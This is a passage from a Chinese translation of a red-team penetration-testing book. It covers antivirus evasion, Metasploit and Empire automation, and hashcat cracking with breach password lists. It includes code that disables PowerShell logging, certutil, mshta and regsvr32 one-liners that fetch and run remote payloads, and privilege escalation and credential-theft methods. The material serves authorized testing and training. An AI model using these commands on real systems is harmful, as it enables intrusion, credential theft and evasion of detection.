的完整演练,请访问: http://www.sixdub.net/?p=555 https://bneg.io/2017/07/26/empire-without-powershell-exe/ 有时我们可能没办法在主机系统上放一个二进制文件。在这种情况下,我们可以创建一个类库(DLL 文件),将其放到主机系统上并使用 rundll32.exe runmalicious.dll,EntryPoint 执行。 当然,这些 DLL 文件的创建可以由 Meterpreter 或 Cobalt Strike 自动完成,但是好在我们可以灵活地运行特定的 PowerShell payload,而无需调用 PowerShell.exe。 译者注 译者找到的额外参考资料: 关于 rundll32.exe 的文章:利用 rundll32.exe 运行 dll 绕过杀毒软件 关于不使用 PowerShell.exe 执行 PowerShell 脚本的文章:PowerShell: Malwares use it without powershell.exe HideMyPS HideMyPS 是一个我几年前写的工具,至今它仍然广受好评。它一直都只是个 POC 工具,但即使经过这么多年它仍然有效。我遇到的问题是,现在任何 PowerShell 脚本都会被杀毒软件检测。例如,如果我们在带有 Windows Defender 的 Windows 系统上丢下了原生的 Invoke-Mimikatz.ps1,微软杀毒软件将立即启用查杀功能捕获 PowerShell 脚本并发送警告。这是传统杀毒软件的主要缺陷之一,事实是它们通常在恶意软件中寻找非常特定的字符串。因此,我整理了一个小的 Python 脚本,该脚本采用 PowerShell 脚本并对所有字符串进行混淆处理(仅使用少量脚本对其进行测试,因此它远不及生产代码)。 HideMyPS 将找到所有函数并使用 ROT 对它们进行混淆处理,从 PowerShell 脚本中删除所有注释,并切分字符串以躲避杀毒软件的静态签名分析检测。对于下一个例子,让我们使用 Invoke_Mimikatz.ps1 并对其进行混淆: cd /opt/HideMyPS python hidemyps.py invoke_mimikatz.ps1 [filename.ps1] 现在,看看原始文件和你创建的新文件之间的区别。首先,你可以看到函数名称全部混淆,变量已经被改,字符串被分解为两半,并且所有注释都移除了。 你必须记住的一件事是我们更改了 PowerShell 脚本中的所有函数名称。因此,为了调用函数,我们将不得不回顾我们的混淆文件,看看我们做了什么来替换 Invoke-Mimikatz 函数。在这个例子中,Invoke-Mimikatz 改名为 Vaibxr-Zvzvxngm。以下示例是在完全修补的 Windows 10 上运行的,其中 Windows Defender 已经更新到最新版本。 本章总结 作为红队成员或渗透测试工程师,我们总是在与主机/网络检测工具玩猫捉老鼠的游戏。这就是为什么理解潜在保护体系的工作机制、编写底层代码以直接与 Windows API 而不是 shell 命令进行交互,以及跳出框框进行创造性思考这些能力是非常重要的。如果你的关注点仅限于一些常用工具,那么你的入侵行动有很大的概率会在企业环境中被检测到。如果这些工具是公开的,那么安全厂商很可能会在它们刚出现时候就对其进行逆向并且为它们开发签名。你可以利用当前已有的攻击工具并以某种方式对其进行定制化二次开发,使其不能被这些安全厂商识别。 第8章 特勤组——破解、漏洞利用和技巧 本章重点介绍了一些我个人发现的对红队和渗透测试都有用的不同资源。这些资源可能不会在每个模拟入侵行动中都用到,但对于特定场景或在某一次的案例中可能非常有用。 自动化 随着基于启发式(heuristic-based)的端点保护变得越来越完善,我们的攻击需要变得更加迅速。我们通常可以编写恶意软件来躲避杀毒软件和绕过初始检测,但是一旦我们开始在内存中调用 Mimikatz 或者进行横向移动到其他主机,我们就会开始触发报警。为了解决这个问题,我总是告诉红队,我们的初步试探可以故意让蓝队捕获。因为通常情况下,蓝队在发现我们使用的默认/基础恶意软件(或者仅仅进行了轻微的混淆)时就会将此视为胜利,但我们的真正目的是了解他们的环境。这是通过我们的初始 payload 在受害者的机器上自动运行多个侦察脚本来实现的。在下一节中,我们将介绍一些可以使我们的一些攻击自动化的快速自动运行脚本。 使用 RC 脚本自动化运行 Metasploit 对于 Metasploit,我们可以使用以下方法高效地运行我们的后渗透利用脚本: 搜索 Metasploit 中所有的后渗透利用模块: msfconsole show post 从显示的结果中,选择你想要包含的所有模块,以便在接收到一个 Meterpreter Shell 时自动执行。在这个案例中,我们将为我们的攻击添加一个 privilege migrate 后渗透模块。要配置 Meterpreter Shell 以便让它在受攻击主机的初始连接上运行此 payload,我们需要指定一个 AutoRunScript 参数。你可以根据需要添加尽可能多的 AutoRunScripts 参数来转储(dump)有关系统和网络的信息,然后横向移动,甚至更多! 创建处理程序 (Handler) 和 AutoRunScript: 创建处理程序文件 gedit handler.rc 配置处理程序和自动运行脚本 use multi/handler set payload windows/meterpreter/reverse_https set LHOST 10.100.100.9 set LPORT 443 set AutoRunScript post/windows/manage/priv_migrate set ExitOnSession false set EnableStageEncoding true exploit -j 启动处理程序 msfconsole -r handler.rc 自动化运行 Empire Empire 具有与 Metasploit 资源文件类似的功能,可以自动完成许多重复性任务。首先,我们需要创建一个文件(在我们的示例中,我们将创建一个名为 /opt/empire_autoload.rc 的文件)然后在我们的 Empire 实例中加载它。 在一个单独的终端窗口中,创建一个处理程序文件: gedit /opt/empire_autoload.rc 添加所有你想要执行的后渗透模块: usemodule situational_awareness/network/powerview/get_user execute back usermodule situational_awareness/network/powerview/get_computer execute back 在 Empire 中,加载 autoload.rc 资源文件: agents autorun /opt/empire_autoload.rc powershell autorun show 如你所见,当代理连接时,它会自动运行 get_user 和 get_computer 的 PowerShell 脚本。这些脚本的所有运行结果都将存储在 agent.log 文件中。在这种情况下,我们的代理名称是 N6LM348G,因此我们的日志将存储在 /opt/Empire/downloads/N6LM348G/agent.log。 自动化运行 Cobalt Strike Cobalt Strike 如此强大的一个主要原因是因为它有 Aggressor 脚本。使用 Cobalt Strike 的 Aggressor 脚本,你不仅可以配置自动运行的脚本,还可以创建非常复杂的攻击。例如,我经常遇到进攻共享工作站的场景,例如实验室服务器或会议室盒子。我可能就会希望我们的代理机器最好能每隔半小时运行 Mimikatz 以获取明文凭证。使用 Aggressor 脚本,我们可以执行所有这些操作甚至更多操作。下面是一个示例脚本: mimikatz-every-30m.cna。 Aggressor 其他脚本集合: https://github.com/bluscreenofjeff/AggressorScripts https://github.com/harleyQu1nn/AggressorScripts 自动化的未来 最后,有一些很酷的项目正朝着自动化,智能入侵和 APT 攻击的方向发展。我坚信入侵行动的未来是朝着自动化的方向发展的,我们需要自动化地测试和验证我们的安全控制机制。我认为在发展这种自动化趋势方面具有巨大潜力的两个工具是: Portia Caldera 密码破解 我了解的最新的和最喜欢的密码列表之一是来自最近发现的41 GB 大小的密码脱库,它包含14亿的用户名和密码( http://bit.ly/2HqbYk8 )。不过,我不想直接把下载链接展示出来,因为它包含很多敏感的用户名(或电子邮件)和相关密码,但你可以搜索 BreachCompilation.tar.bz2 以查找有关它的更多信息。在下载这些非常敏感的信息之前,请先查看你所在国家的法律。我建议你不要下载原始数据,只需下载密码列表即可。我已经下载了这个41GB 的字典,然后删除了所有用户名和电子邮件,并整理出了只是密码的数据。位于:http://thehackerplaybook.com/get.php?type=THP-password 。 在我的个人机器上,我使用8块技嘉 GV-N108TTURBO-11GD AORUS GeForce GTX 1080 Ti Turbo 11G 显卡,大约价值12,000美元,你也可以构建自己的一个机器,包括机箱、RAM、电源、SSD 和 GPU。当然,机箱至少需要一个4U机架(例如:SYS-4028GR-TR2)并且供应充足的电。虽然绝对不便宜,但我们每秒大约能枚举472,000,000,000个哈希值,可以爆破 Windows NTLM(Windows) 哈希。这是八个 GPU 的 hashcat 基准测试: Hashmode: 1000 - NTLM Speed.Dev.#1…..: 59436.3 MH/s (63.16ms) Speed.Dev.#2…..: 58038.3 MH/s (64.70ms) Speed.Dev.#3…..: 59104.4 MH/s (63.55ms) Speed.Dev.#4…..: 59123.0 MH/s (63.52ms) Speed.Dev.#5…..: 58899.7 MH/s (63.74ms) Speed.Dev.#6…..: 59125.8 MH/s (63.51ms) Speed.Dev.#7…..: 59256.3 MH/s (63.36ms) Speed.Dev.#8…..: 59064.5 MH/s (63.56ms) Speed.Dev.#*…..: 472.0 GH/s 对于那些买不起大型 GPU 设备的人来说,还有其他选择。你可以考虑在云服务器中进行密码破解的操作,虽然仍然不怎么便宜。最近,亚马逊已经集成了 TESLA GPU(不是特斯拉汽车),它们比1080Ti 更强大。关于如何使用这些 GPU 设置你自己的密码破解服务器,在 Medium 上有一篇很棒的文章:https://medium.com/@iraklis/running-hashcat-v4-0-0-in-amazons-aws-new-p3-16xlarge-instance-e8fab4541e9b 。 来自 Iraklis Mathiopoulos 的文章中的数据: 译者注:Iraklis Mathiopoulos 是上面这篇文章的作者。 Hashmode: 1000 - NTLM: Speed.Dev.#1…..: 79294.4 MH/s (33.81ms) Speed.Dev.#2…..: 79376.5 MH/s (33.79ms) Speed.Dev.#3…..: 79135.5 MH/s (33.88ms) Speed.Dev.#4…..: 79051.6 MH/s (33.84ms) Speed.Dev.#5…..: 79030.6 MH/s (33.85ms) Speed.Dev.#6…..: 79395.3 MH/s (33.81ms) Speed.Dev.#7…..: 79079.5 MH/s (33.83ms) Speed.Dev.#8…..: 79350.7 MH/s (33.83ms) Speed.Dev.#*…..: 633.7 GH/s 对于同样的 NTLM 哈希值,使用 TESLA GPU 显卡破解的总速度比使用1080Ti GPU显卡大约快34%。但是运行 AWS 的总成本约为每小时25美元。因此,你需要根据自己的预算、需求和目标来选择。 实验: 最近,Have I Been Pwned 网站的创始人 Troy Hunt 发布了一个 SHA1 密码哈希列表,压缩之后的体积大约为5.3 GB。这是有史以来的数据泄露、脱库中一个非常大的列表了。这是一个测试你密码破解技巧的绝佳素材: https://downloads.pwnedpasswords.com/passwords/pwned-passwords-1.0.txt.7z 随着这些 GPU 的破解速度变得越来越快,10个字符以下的密码可以在相对合理的时间范围内进行智能化破解。其中一些可以通过使用高质量的密码掩码来破解,但是大多数情况下,主要取决于密码列表自身的复杂程度。破解大于12个字符的密码的最快方法之一就是使用来自于真实数据泄露事件的密码列表。回顾过去所有的数据泄露事件,我们可以很好地了解人类如何创建密码,混淆密码的常用技巧以及最常用的单词。使用复杂规则集配合这些密码字典,可以让我们以极快的速度破解密码(有时超过25个字符)。但请记住,你的密码列表取决于你构建和维护它的程度。作为红队队员,我们会定期跟踪我们破解的所有帐户,对其进行分析并将其添加到我们的密码字典中。我们还会不断监控新的数据泄露事件,访问 pastebin 和 pastie 网站等,以查找更新的密码。此处有一个很好的监控列表:https://inteltechniques.com/OSINT/pastebins.html 。 我最喜欢的密码列表: berzerk0的 Real-Password-WPA 密码列表: 18.6 GB 未压缩 http://bit.ly/2EMs6am berzerk0 的字典风格的列表: 1 GB 未压缩 http://bit.ly/2GXRNus Xato 的千万数量的密码 magnet:?xt=urn:btih:32E50D9656E101F54120ADA3CE73F7A65EC9D5CB Hashes.org https://hashes.org/left.php 几千兆字节,而且每天都在增长 Crackstation 15 GB 未压缩 https://crackstation.net/files/crackstation.txt.gz Weakpass(弱密码) 大量的密码列表 https://weakpass.com/wordlist First20Hours 该项目包含按频率顺序排列的10,000个最常见的英语单词列表,由 Google 的万亿字词数据库的 n-gram 频率分析确定。 https://github.com/cyberspacekittens/google-10000-english SkullSecurity.org 优秀的旧密码列表,如 rockyou,myspace,phpbb https://wiki.skullsecurity.org/Passwords Daniel Miessler 的密码编译 https://github.com/cyberspacekittens/SecLists Adeptus-mechanicus 哈希脱库 http://www.adeptus-mechanicus.com/codex/hashpass/hashpass.php 通过优秀的密码列表组合,我们可以基于列表添加规则来找到更多密码。就 Hashcat 而言,规则会确定是否需要在词表中进行任何修改和扩展。描述规则的最佳方式是使用这一个易于理解的示例。我们可以使用 KoreLogicRulesAppendYears 规则集,如下所示: cAz”19[0-9][0-9]” Az”19[0-9][0-9]” cAz”20[01][0-9]” Az”20[01][0-9]” 它将在每个密码中添加1949年到2019年的年份字符串。比如,如果密码列表中包含单词 “hacker”,它就会使用 “hacker1949” 来尝试破解哈希值,一直试到 “hacker2019”。请记住,你拥有的密码规则越复杂,通过单词列表中的所有单词破解目标所需的时间就越长。 幸运的是,我们不需要创建自己的规则,因为网上已经有很多很好的规则。当然,还有默认的 Hashcat 规则,它来自许多较旧的数据泄露,以及常见的密码破解技术。这是一个很好的起点。Kore 规则来自 Korelogic 的密码竞赛,是其标准之一。另外的两个规则需要的时间更久,但也有非常详细的规则集,分别是 NSAKEY 和 Hob0Rules。在过去,我会采取所有的规则,将它们编入单个文件,并对文件去重。但是,现在,NotSoSecure 规则实际上已经为你做好了这些工作。 规则: Hashcat Rules https://github.com/hashcat/hashcat/tree/master/rules Kore Rules http://contest-2010.korelogic.com/rules-hashcat.html NSAKEY Rules(我的最爱之一) https://github.com/cyberspacekittens/nsa-rules Praetorian-inc Hob0Rules https://github.com/cyberspacekittens/Hob0Rules NotSoSecure —— 此规则包含上面全部规则 https://github.com/cyberspacekittens/password_cracking_rules 注:NSAKEY Rules、Praetorian-inc Hob0Rules 和 NotSoSecure 是原仓库的 Fork 版本。 彻底破解全部 —— 尽可能多地快速破解 你现在已有从 Cyber Space Kittens 入侵行动获得的一个很大的密码列表。那么在有限的时间内,怎么能获得最好的收益呢?以下演练将指导你完成初始步骤来尽可能多地破解密码。虽然,我们通常只需要找到几个域管理员/LDAP 管理员/公司管理员帐户,但我的强迫症倾向让我试图破解所有密码。 在开始之前,你确实需要了解你的那些哈希值的密码格式。Hashcat 有一个很好的列表,展示不同类型的哈希值的示例。一旦你知道了是什么类型的哈希算法,最好先进行一些初始测试,以确定该密码哈希算法的速度是快还是慢。这将对你的密码破解方法有巨大的影响。例如,在查看 Windows 系统下使用哈希算法时,我们看到 NTLM(Windows) 执行速度大约为75,000 MH/s。在 Linux下 运行 SHA-256算法的执行速度约为5,000 MH/s。 这意味着对于 SHA-256哈希,你的 GPU 可以每秒破解5,000,000,000次。这可能看起来很多,但是当你有大量的单词列表和很大的规则集时,这个速度可能不够理想。这是因为与每秒运算75,000,000,000个哈希值的 NTLM 相比,SHA-256算法的计算速度非常慢且成本高。在我们的例子中,我们将全力以赴,我们将使用8个1080TI GPU 并使用 NTLM 的快速哈希转储(dump)功能。 破解 CyberSpaceKittens NTLM 哈希: 获得域管理员访问权限后,你使用 DCSync 攻击从域控制器转储所有哈希值。你现在的目标是尝试尽可能多地破解哈希。因为你知道,你将能够在未来的入侵活动中使用这些帐户,并向受害者公司展示他们使用的不安全的密码的做法。 首先,我们将所有 NTLM Windows 哈希保存在一个名为 cat.txt 的文件中。为了使输出结果更易于阅读,我们将省略初始的 hashcat 执行命令。每个命令执行都将以 hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt 开头。 这句命令的意思为: hashcat: 运行 hashcat -w 3: 使用调整的配置文件 -m 1000: 哈希格式是 NTLM -o hashes.cracked: 将结果输出到一个文件中 ./hashes/cat.txt: 我们的哈希存储的地址 因此,每当你看到 [hashcat] 字符串时,请使用此命令替换它:hashcat -w 3 -m 1000 -o hashes.cracked ./hashes/cat.txt。现在,让我们在 8 GPU 1080TI 设备上快速高效地破解 NTLM 哈希。 使用 brute-force(-a 3)的攻击模式破解所有长度少于等于7个字符的密码。字符可以是任何字母、数字或者特殊字符(?a),启用增量破解模式从一个字符到七个字符进行尝试(--increment)。 [hashcat] -a 3 ?a?a?a?a?a?a?a --increment 对于7个字符(字母/数字/特殊字符)的密码,破解总时间约为5分钟。我们可以设置为8个字符,但我们看到设置8字符后,运行了9个小时。 你还可以将特殊字符限制为少数几个(!@ #$ % ^),这能显著减少时间和复杂性。 接下来,将所有常见密码列表转储与我们的哈希值进行比较。第一个文件(40GB_Unique_File.txt)是一个3.2GB 的密码文件,运行大约需要9秒: [hashcat] ./lists/40GB_Unique_File.txt 我们可以看到,速度快到即使是这么大的文件,运行也只需要几秒钟。为了提高效率,我们实际上可以使用 * 运算符并与我们的 ./lists/ 文件夹中的每个密码列表进行比较。 [hashcat] ./lists/* 接下来,基于哈希算法的速度,我们可以对单个密码列表文件尝试不同的规则集。我们将从 RockYou 规则集开始,破解这些 NTLM 哈希值大约需要2分9秒: [hashcat] ./lists/40GB_Unique_File.txt -r ./rules/rockyou-30000.rule 注意:使用3 GB 文件设置的 NSAKEY 规则大约需要7分钟,使用 NotSoSecure 规则集(组合了其他所有规则集的规则集)大约需要20分钟。 当我用回其他密码列表和规则集组合时。跟所有大型规则集和大型密码泄露列表的第一次破解比较,我们通常可以至少提高30%以上的效率。 接下来,我们可以开始在密码列表的右侧添加字符,以提高破解更长密码的成功率。下面看到的 -a 6 命令会将每个字母/数字/特殊字符添加到密码右侧,从一个字符开始一直到最多四个字符: [hashcat] -i -a 6 ./lists/found.2015.txt ?a?a?a?a 注意:这需要大约30分钟才能完成四个字符 我们也可以在密码列表的左侧添加字符。以下命令将每个字母/数字/特殊字符添加到密码的左侧,从一个字符开始一直到最多四个字符: [hashcat] -i -a 7 ?a?a?a?a ./lists/40GB_Unique_File.txt 注意:这需要大约30分钟才能完成四个字符 Hashcat Utils:https://github.com/hashcat/hashcat-utils/releases 。Hashcat 有很多工具可以帮助构建更好的密码列表。一个例子是组合器,它可以采用两个或三个不同的密码列表并进行组合。使用小列表相对较快。使用我们的 shortKrak 列表并将其与自身相结合会导致非常快速的破解: ./hashcat-utils-1.8/bin/combinator.bin lists/shortKrak.txt lists/shortKrak.txt > lists/comboshortKrak.txt 使用一些列表比如“谷歌排名 top1000单词”会生成一个约1.4 GB 的文件,因此你必须注意你选择的文件的大小。 ./hashcat-utils-1.8/bin/combinator.bin lists/google_top_1000.txt lists/google_top_1000.txt > lists/google_top_1000_combo.txt 注意:使用一个4MB 文件并运行 combinator 将导致生成体积一个大于25GB 的文件。所以,要当心这些文件的体积大小。 很多时候,人们使用最多的密码不是常见的字典单词,而是基于他们的公司、产品或服务的单词。我们可以使用客户网站创建自定义密码列表。可以提供帮助的两个工具是: Brutescrape Burp Wordlist Extractor 接下来,使用 PACK (Password Analysis and Cracking Kit) 工具对所有破解的密码进行分析并创建掩码: python ./PACK-0.0.4/statsgen.py hashes.password python ./PACK-0.0.4/statsgen.py hashes.password --minlength=10 -o hashes.masks python ./PACK-0.0.4/maskgen.py hashes.masks --optindex -q -o custom-optindex.hcmask 译者注:本书作者给出的关于 PACK 的链接为:http://thesprawl.org/projects/pack/ ,但是你只要点了试试就会发现现在这个连接被自动跳转到 PACK 作者的博客了。译文中的 PACK 工具的地址是译者自己在 Github 找到的,因为链接变了,所以上面的 python 语句大家根据情况做出调整。可以参考该工具的 README,非常详细。 使用新创建的掩码进行密码破解: [hashcat] -a 3 ./custom-optindex.hcmask 使用 Pipal 分析你的密码列表可以更好地理解密码的基本词汇: cd /opt/pipal ./pipal.rb hashes.password 看看这个列表,你可能会发现这家公司使用resetme12345作为默认密码,可能位于密歇根州(列表里有底特律、老虎、足球这些词汇)。 那么下一步我们做什么?已经有很多对于不同的密码生成工具、密码分析和其他技术的很好的研究,目的是找到更快的破解密码的方法。若你有兴趣,这里给出一些资料: PassGAN:使用深度学习方法进行密码破解 快速、精益、准确:使用神经网络建模的密码可猜测性 具有创新性的的入侵行动 作为公司的内部红队可以有机会参加具有创新性的的入侵行动。我最喜欢的行动之一是模拟勒索软件。在过去,我们被允许在 WannaCry 大面积爆发的时期进行模拟勒索软件行动。随着加密软件和勒索软件越来越受欢迎,我们确实需要有能力测试我们的业务恢复和遇难恢复程序。我们在现实生活中见证了这一点,WannaCry 通过 SMB 进行横向移动,利用 EternalBlue ,加密文件等攻击,甚至删除了主机系统上的所有备份。作为一个 IT 组织,我们需要问自己的问题是,如果我们的某个用户点击了该恶意软件,会产生什么影响?我们可以恢复用户文件、共享文件、数据库等东西吗?我们一直听到的答案是,“我觉得可以......”,但如果没有红队提前验证的过程,我们最终会等到我们的房子被烧成灰后才知道是不是真的可以。 这就是为什么我喜欢公司内部进行红队评估的原因。我们可以在受控环境中真正证明并验证安全性和 IT 是否正常运行。对于这本书,我没有列举任何我们的勒索软件的例子,因为这样做很危险。我将让你负责构建工具并以批准的方法测试你的客户。 模拟勒索软件行动提示: 有些公司实际上不会让入侵者删除或加密文件。对于这些公司,你可以进行模拟勒索软件攻击。一旦恶意软件被执行,它所做的就是扫描主机和网络中的重要文件,将每个文件读入内存,执行随机字节交换,将这些字节发送到 C2 服务器,并包含元数据。这将展示出你能够操作的文件数量,在检测到流量之前可以从网络中渗透出的数据量以及可以恢复的文件数量。 查看其他勒索软件样本以查看他们正在加密的文件类型。这可以创造一个更接近现实的行动。例如,查看 WannaCry 中的文件类型( https://gist.github.com/rain-1/989428fa5504f378b993ee6efbc0b168 )。 如果你要 “加密” 恶意软件,请使用简单的方法。它可以是带有密钥的标准 AES,一个公共或私有的 x509 证书,或某种按位异或。制作它越复杂,无法恢复文件的可能性就越大。 测试、测试和测试。你可以预见的最糟糕的事情是让目标公司无法恢复关键文件,并且你的解密过程还不起作用。 许多下一代杀毒软件基于链中的某些动作会自动阻止勒索软件。例如,勒索软件可能执行的正常检测是:扫描系统中所有类型为 X 的文件,加密 X 文件,删除磁盘中的副本以及禁用备份。想要绕过检测过程的话,要么减慢勒索软件的活动流程,要么通过不同的流程达到相同的目的。 禁用 PowerShell 记录 作为红队队员,我们一直在寻找独特的方法来尝试和禁用任何类型的日志记录。虽然现在也有办法执行这些攻击,但我们仍在不断寻找新的更简单的技术。 以下是一个 leechristensen 写的示例,可用于禁用 PowerShell 日志记录: $EtwProvider = [Ref].Assembly.GetType('System.Management.Automation.Tracing.PSEtwLogProvider').GetField('etwProvider','NonPublic,Static'); $EventProvider = New-Object System.Diagnostics.Eventing.EventProvider -ArgumentList @([Guid]::NewGuid()); $EtwProvider.SetValue($null, $EventProvider); 从命令行连接网络下载 Windows 文件 如果你通过应用程序漏洞获得了命令执行,又或者是通过 Office 或 PDF 文件获取了 shell,那么接下来的步骤可能是下载并执行你的辅助恶意软件。 对于这些情况,我们可以利用 Windows 的一些特性来完成任务。大多数这些例子来自 arno0x0x 和 @subtee 的卓越的研究成果( https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code )。 mshta vbscript:Close(Execute(“GetObject(““script: http://webserver/payload.sct ””)”)) mshta http://webserver/payload.hta rundll32.exe javascript:"..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); regsvr32 /u /n /s /i:http://webserver/payload.sct scrobj.dll certutil -urlcache -split -f http://webserver/payload payload certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.dll & C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil /logfile= /LogToConsole=false /u payload.dll certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 & certutil -decode payload.b64 payload.exe & payload.exe 这些只是其中几个例子,还有更多通过命令行来执行辅助代码的方法。你还可以继续研究,看看是否还有其他技术可以用来从传统的日志记录中隐匿行踪。 从本地管理员权限到系统权限 从本地管理员帐户权限提升到 System 权限可以通过多种方式完成。当然,最常见的方法是使用 Metasploit 的 getsystem,但这并不总是可行的。decoder-it 创建了一个非常棒的 PowerShell 脚本,通过创建一个新进程并将该新进程的父进程 PID 设置为 System 所拥有,从而让本地管理员权限的 PowerShell 提示符转到 System 权限。可以在此处找到此 PowerShell 脚本。 执行以下操作: PS> . .\psgetsys.ps1 PS>[MyProcess]::CreateProcessFromParent(<process_run_by_system>, <command_to_execute>) 在不触及 LSASS 的情况下检索 NTLM 哈希值 Elad Shamir 对怎样在不对 lsass.exe 进程进行操作的情况下抓取 NTLM 哈希进行了广泛的研究。在这种攻击之前,通过 Mimikatz 操作 LSASS 抓取哈希值的操作受到 Windows 10企业版和 Windows Server 2016中的凭证保护的限制。Elad 开发了一种称为 Internal Monologue Attack 的攻击,它执行以下操作: 如上所述,通过将 LMCompatibilityLevel、NTLMMinClientSec 和 RestrictSendingNTLMTraffic 更改为适当的值来禁用 NetNTLMv1 的预防性控制。 从当前正在运行的进程中检索所有非网络登录令牌并模拟关联的用户。 对于每个模拟用户,获得正在运行的用户 token,模拟用户同 NTLM SSP 进行交互,控制 Challenge 为固定值,导出返回的 Net-NTLMv1 响应。 恢复 LMCompatibilityLevel、NTLMMinClientSec 和 RestrictSendingNTLMTraffic 的原始值。 [https://github.com/eladshamir/Internal-Monologue] 译者注 参考资料:Windows 下的密码 hash——Net-NTLMv1 介绍 使用防御工具构建训练和监控的实验环境 测试我们的恶意软件的一个很大挑战是我们需要建立一个快速测试的环境。Chris Long 构建的一个名为 Detection Lab 的强大工具是 Packer 和 Vagrant 脚本的合集,可让你快速将 Windows Active Directory 部署上线。该工具包含一系列端点安全和日志记录的最佳实践工具。Detection Lab 由四个主机组成(https://medium.com/@clong/introducing-detection-lab-61db34bed6ae ): DC:一个 Windows 2016域控制器 WEF:管理 Windows 事件集合(Windows Event Collection)的 Windows 2016服务器 Win10:模拟非服务器端点的 Windows 10主机 Logger:运行 Splunk 和一个 Fleet 服务器的 Ubuntu 16.04主机 本章总结 对于红队来说,窍门和技巧是我们入侵艺术的一部分。我们必须不断研究攻击用户、攻陷系统和逃避检测的更好方法。这可没有捷径,需要数小时到数年的练习、汗水和眼泪。 第9章 两分钟的训练——从零到英雄 随着时间的推移,直到测试的最后一天你都还没有从目标外部网络取得比较好的突破。因为你需要进入目标内网,了解他们公司的网络布局,获得一些敏感文件或者代码,然后找到更多的网段和高权限用户,最终需要拿到 Cyber Space Kittens 公司太空计划的相关资料,此时你感觉压力很大。你的任务是窃取最新的太空计划相关的绝密信息并且不能失败...现在是两分钟操练的时候了。只剩一点点时间了,你需要从10码线开始运球,突破所有的防守保护,扫清路上的障碍,最终把球带到90码线安全着陆。 10码线 你重新翻阅自己之前做的笔记,找出自己可能遗漏的一些信息。你的眼睛聚焦在一个网页屏幕截图...这是一个 CSK(Cyber Space Kittens)的论坛网站。你暂时没法找到这个网站程序的漏洞,但是你注意到这个 CSK 论坛网站是给 CSK 内部员工和普通用户共同使用的,用于发布他们太空项目相关的问题、评论和其他事情。 你在网站上收集那些看上去是属于公司员工的账户。然后你根据账户名提炼信息制作比较靠谱的密码表(可能使用的密码)。你使用常用密码及其变体对所有这些账户进行密码爆破尝试。你看到你的 python 脚本正在缓慢的输出… 失败 … 失败 … 失败 … 密码已找到 ! 当你看到一个名为 Chris Catfield 的用户使用了 Summer2018! 这个密码时会心一笑。这个比你预想的要简单的多。接下来,你使用 Chris 的凭证登录论坛,查阅他的私信和帖子,找出那些能帮助更好的开展下一步行动的信息。你发现 Chris 经常与论坛上的另一位内部员工 Neil Pawstrong 谈论太空项目。看起来他们不是现实中的朋友,但他们有很融洽的协同工作关系。这对你开展受信任的钓鱼攻击非常有利。这两个用户之间已经建立了融洽的关系,所以如果你使用 Chris 的帐号发钓鱼邮件给 Neil,成功的可能性将会很大。 20码线 你在纠结要不要直接向 Neil 发送恶意的 payload,但是那样太明显了。于是你向他发送了一个你刚搭建好的一个带有猫猫照片的网站的链接,“嘿,Neil,我知道你喜欢猫!看看我做的这个页面吧!” 几分钟之后,你在论坛网站上收到的 Neil 的回复:“哈哈,我喜欢这个太空猫啦!”Neil 没有意识到他访问的网页有一个定制的 JavaScript 的 payload,这段 JS 代码在他的机器后台运行,扫描机器所在的 CSK 内部网络,并且危及未经身份验证的 Jenkins 和 Tomcat Web 服务器。几秒钟之后,你得到了一个弹回来的 Empire 的 shell,你终于松了一口气。 30码线 当你顺利撕开目标的一道口子,你意识到 CSK 的网络防御部门重新设置防火墙配置、DNS 配置和进行主机屏蔽只是时间问题,所以你需要快速移动。幸运的是,你已经配置了一些自动化的程序和脚本来处理那些繁琐的工作。受感染的主机已经激活 beacon 并且开始运行 Bloodhound 等工具,查找本地存储的密码相关文件,设置注册表的值来使 Mimikatz 工具能够捕获 LSASS 进程存储的密码,运行 SPN(Kerberos 服务主体名称)并转储所有 Kerberos 票证,当然还可以在计划任务中做一些持久化渗透的设置。 40码线 你清楚自己需要快速离开这个第一台主机。于是你将所有拿回的 Kerberos ticket(票据)导入到 Hashcat 程序中,然后开始破解。你发现用那些额外的 BUG 赏金购买了几块1080Ti显卡是个非常正确的决定。当 hash 开始破解的时候,你注意到有一些服务账户的密码已经破解完毕,但是你现在还没时间去处理这些。你仔细阅读 Bloodhound 的输出结果,发现这台受害的机器是属于 Neil Pawstrong 的,并且 Neil 的 AD 账户(域账户)可以访问另一个属于 Buzz Clawdrin 的机器。通过使用 WMI 进行连接,你远程生成一个新的 payload 到 Buzz 的机器中,然后注入到属于 Buzz 账户进程中。 50码线 幸运的是,你的账户(Neil 的域账户)在 Buzz 主机的本地管理员成员组中,这意味着你能在这个主机上做更多的协同工作。 使用 Bloodhound 进行信息收集,你能够遍历整个 CSK-LAB 域的网络,但你意识到你在这个主机中并没有 system 权限。不用担心,你可以加载 powerup 这个 powershell 脚本文件来查找这个主机的错误配置,进而让你权限提升到 system 权限。如你所料,服务二进制文件有大量没加引号的路径,你可以在那写入你自己的 payload。你可以快速做一个新的恶意的二进制文件来获得 system 权限。 60码线 你在第二台主机上运行一个新的 Cobalt Strike 的 payload 获得了一个新的 beacon,这让你即使被他们发现了一些痕迹,也能保持访问权限。这是一个 system 权限的 beacon 连接,你可以通过该主机查找机器中存储在浏览器、WinSCP 配置文件等文本文件中的大量凭据。这台主机是个金矿,它可以连接到多个服务器和数据库。你注意到此主机位于不同的 VLAN 上。看起来这个主机可以访问那些从 Neil 的主机无法看到的这个内网中的更多的网段和主机。你再次运行命令进行内网信息收集,通过 Bloodhound 来了解你当前能访问的网段和主机。你注意到这些网络中的很多主机无法连接到外网,因此你无法获得 HTTP 的 beacon。但是因为你使用的是 Cobalt Strike(https://www.cobaltstrike.com/help-smb-beacon ),因此你知道它有一个强大的功能,可将内网断网主机和你当前已控的 beacon 进行 SMB 管道连接上线。这就意味着整个实验室的 VLAN 网络中其他受到攻击的机器都可以利用当前这个 CSK-LAB 主机访问到外网。另外,你发现这些在半隔离网络中的主机并没有获取系统更新。看上去,这些运行着 Windows 7系统的客户端主机中并没有为 EternalBlue(永恒之蓝漏洞)打补丁。 70码线 通过这台 CSK-LAB 主机,你可以使用经过修改的 EternalBlue 漏洞、利用 payload 在这个 lab 域中的大多数 windows 7机器中中获得 SMB 的 